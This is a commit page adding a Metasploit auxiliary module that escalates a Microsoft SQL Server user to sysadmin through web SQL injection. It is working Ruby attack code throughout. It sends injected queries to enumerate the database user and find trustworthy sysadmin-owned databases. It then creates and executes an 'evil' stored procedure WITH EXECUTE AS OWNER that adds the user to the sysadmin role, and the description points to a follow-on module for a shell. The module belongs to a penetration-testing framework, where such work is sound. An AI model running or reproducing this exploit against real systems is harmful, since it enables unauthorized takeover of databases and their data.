Skip to content

Commit 00f137c

Browse files
committed
Land rapid7#4040, @nullbind's MS SQL privilege escalation through SQLi
2 parents c77a098 + acc590b commit 00f137c

File tree

1 file changed

+223
-0
lines changed

1 file changed

+223
-0
lines changed
Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL_SQLI
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft SQL Server - SQLi Escalate Db_Owner',
17+
'Description' => %q{
18+
This module can be used to escalate SQL Server user privileges to sysadmin through a web
19+
SQL Injection. In order to escalate, the database user must to have the db_owner role in
20+
a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin
21+
role, the mssql_payload_sqli module can be used to obtain a shell on the system.
22+
23+
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
24+
},
25+
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
26+
'License' => MSF_LICENSE,
27+
'References' => [['URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
28+
))
29+
end
30+
31+
def run
32+
# Get the database user name
33+
print_status("#{peer} - Grabbing the database user name from ...")
34+
db_user = get_username
35+
if db_user.nil?
36+
print_error("#{peer} - Unable to grab user name...")
37+
return
38+
else
39+
print_good("#{peer} - Database user: #{db_user}")
40+
end
41+
42+
# Grab sysadmin status
43+
print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
44+
admin_status = check_sysadmin
45+
46+
if admin_status.nil?
47+
print_error("#{peer} - Couldn't retrieve user status, aborting...")
48+
return
49+
elsif admin_status == '1'
50+
print_error("#{peer} - #{db_user} is already a sysadmin, no esclation needed.")
51+
return
52+
else
53+
print_good("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
54+
end
55+
56+
# Check for trusted databases owned by sysadmins
57+
print_status("#{peer} - Checking for trusted databases owned by sysadmins...")
58+
trust_db_list = check_trust_dbs
59+
if trust_db_list.nil? || trust_db_list.length == 0
60+
print_error("#{peer} - No databases owned by sysadmin were found flagged as trustworthy.")
61+
return
62+
else
63+
# Display list of accessible databases to user
64+
print_good("#{peer} - #{trust_db_list.length} affected database(s) were found:")
65+
trust_db_list.each do |db|
66+
print_status(" - #{db}")
67+
end
68+
end
69+
70+
# Check if the user has the db_owner role in any of the databases
71+
print_status("#{peer} - Checking if #{db_user} has the db_owner role in any of them...")
72+
owner_status = check_db_owner(trust_db_list)
73+
if owner_status.nil?
74+
print_error("#{peer} - Fail buckets, the user doesn't have db_owner role anywhere.")
75+
return
76+
else
77+
print_good("#{peer} - #{db_user} has the db_owner role on #{owner_status}.")
78+
end
79+
80+
# Attempt to escalate to sysadmin
81+
print_status("#{peer} - Attempting to add #{db_user} to sysadmin role...")
82+
escalate_privs(owner_status, db_user)
83+
84+
admin_status = check_sysadmin
85+
if admin_status && admin_status == '1'
86+
print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
87+
else
88+
print_error("#{peer} - Fail buckets, something went wrong.")
89+
end
90+
end
91+
92+
def peer
93+
"#{rhost}:#{rport}"
94+
end
95+
96+
def get_username
97+
# Setup query to check for database username
98+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
99+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
100+
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
101+
102+
# Run query
103+
result = mssql_query(sql)
104+
105+
# Parse result
106+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
107+
user_name = $1
108+
else
109+
user_name = nil
110+
end
111+
112+
user_name
113+
end
114+
115+
def check_sysadmin
116+
# Setup query to check for sysadmin
117+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
118+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
119+
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
120+
121+
# Run query
122+
result = mssql_query(sql)
123+
124+
# Parse result
125+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
126+
status = $1
127+
else
128+
status = nil
129+
end
130+
131+
status
132+
end
133+
134+
def check_trust_dbs
135+
# Setup query to check for trusted databases owned by sysadmins
136+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
137+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
138+
sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName
139+
FROM sys.server_principals r
140+
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
141+
INNER JOIN sys.server_principals p ON
142+
p.principal_id = m.member_principal_id
143+
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
144+
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
145+
146+
# Run query
147+
res = mssql_query(sql)
148+
149+
unless res && res.body
150+
return nil
151+
end
152+
153+
#Parse results
154+
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
155+
156+
if parsed_result && !parsed_result.empty?
157+
parsed_result.flatten!
158+
parsed_result.uniq!
159+
end
160+
161+
print_status("#{parsed_result.inspect}")
162+
163+
parsed_result
164+
end
165+
166+
def check_db_owner(trust_db_list)
167+
# Check if the user has the db_owner role is any databases
168+
trust_db_list.each do |db|
169+
# Setup query
170+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
171+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
172+
sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName
173+
from [#{db}].sys.database_role_members drm
174+
join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
175+
join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
176+
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
177+
178+
# Run query
179+
result = mssql_query(sql)
180+
181+
unless result && result.body
182+
next
183+
end
184+
185+
# Parse result
186+
if result.body =~ /#{clue_start}([^>]*)#{clue_end}/
187+
return $1
188+
end
189+
end
190+
191+
nil
192+
end
193+
194+
# Attempt to escalate privileges
195+
def escalate_privs(dbowner_db,db_user)
196+
# Create the evil stored procedure WITH EXECUTE AS OWNER
197+
evil_sql_create = "1;use #{dbowner_db};
198+
DECLARE @myevil as varchar(max)
199+
set @myevil = '
200+
CREATE PROCEDURE sp_elevate_me
201+
WITH EXECUTE AS OWNER
202+
as
203+
begin
204+
EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''
205+
end';
206+
exec(@myevil);--"
207+
mssql_query(evil_sql_create)
208+
209+
# Run the evil stored procedure
210+
evilsql_run = "1;use #{dbowner_db};
211+
DECLARE @myevil2 as varchar(max)
212+
set @myevil2 = 'EXEC sp_elevate_me'
213+
exec(@myevil2);--"
214+
mssql_query(evilsql_run)
215+
216+
# Remove evil procedure
217+
evilsql_remove = "1;use #{dbowner_db};
218+
DECLARE @myevil3 as varchar(max)
219+
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
220+
exec(@myevil3);--"
221+
mssql_query(evilsql_remove)
222+
end
223+
end

0 commit comments

Comments
 (0)